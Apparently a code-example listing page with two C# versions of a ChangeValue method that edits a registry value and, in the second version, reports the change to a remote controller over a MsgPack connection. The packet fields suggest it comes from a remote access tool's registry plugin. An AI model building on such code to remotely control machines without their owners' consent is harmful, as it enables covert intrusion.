Beispiel #1
0
        public void ChangeValue(RegValueData Value, string KeyPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.ChangeRegistryValue(Value, KeyPath, out errorMsg);
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }
Beispiel #2
0
        public void ChangeValue(RegValueData Value, string KeyPath)
        {
            string errorMsg;

            try
            {
                RegistryEditor.ChangeRegistryValue(Value, KeyPath, out errorMsg);

                MsgPack msgpack = new MsgPack();
                msgpack.ForcePathObject("Pac_ket").AsString = "regManager";
                msgpack.ForcePathObject("Hwid").AsString    = Connection.Hwid;
                msgpack.ForcePathObject("Command").AsString = "ChangeValue";
                msgpack.ForcePathObject("KeyPath").AsString = KeyPath;
                msgpack.ForcePathObject("Value").SetAsBytes(Serialize(Value));
                Connection.Send(msgpack.Encode2Bytes());
            }
            catch (Exception ex)
            {
                Packet.Error(ex.Message);
            }
        }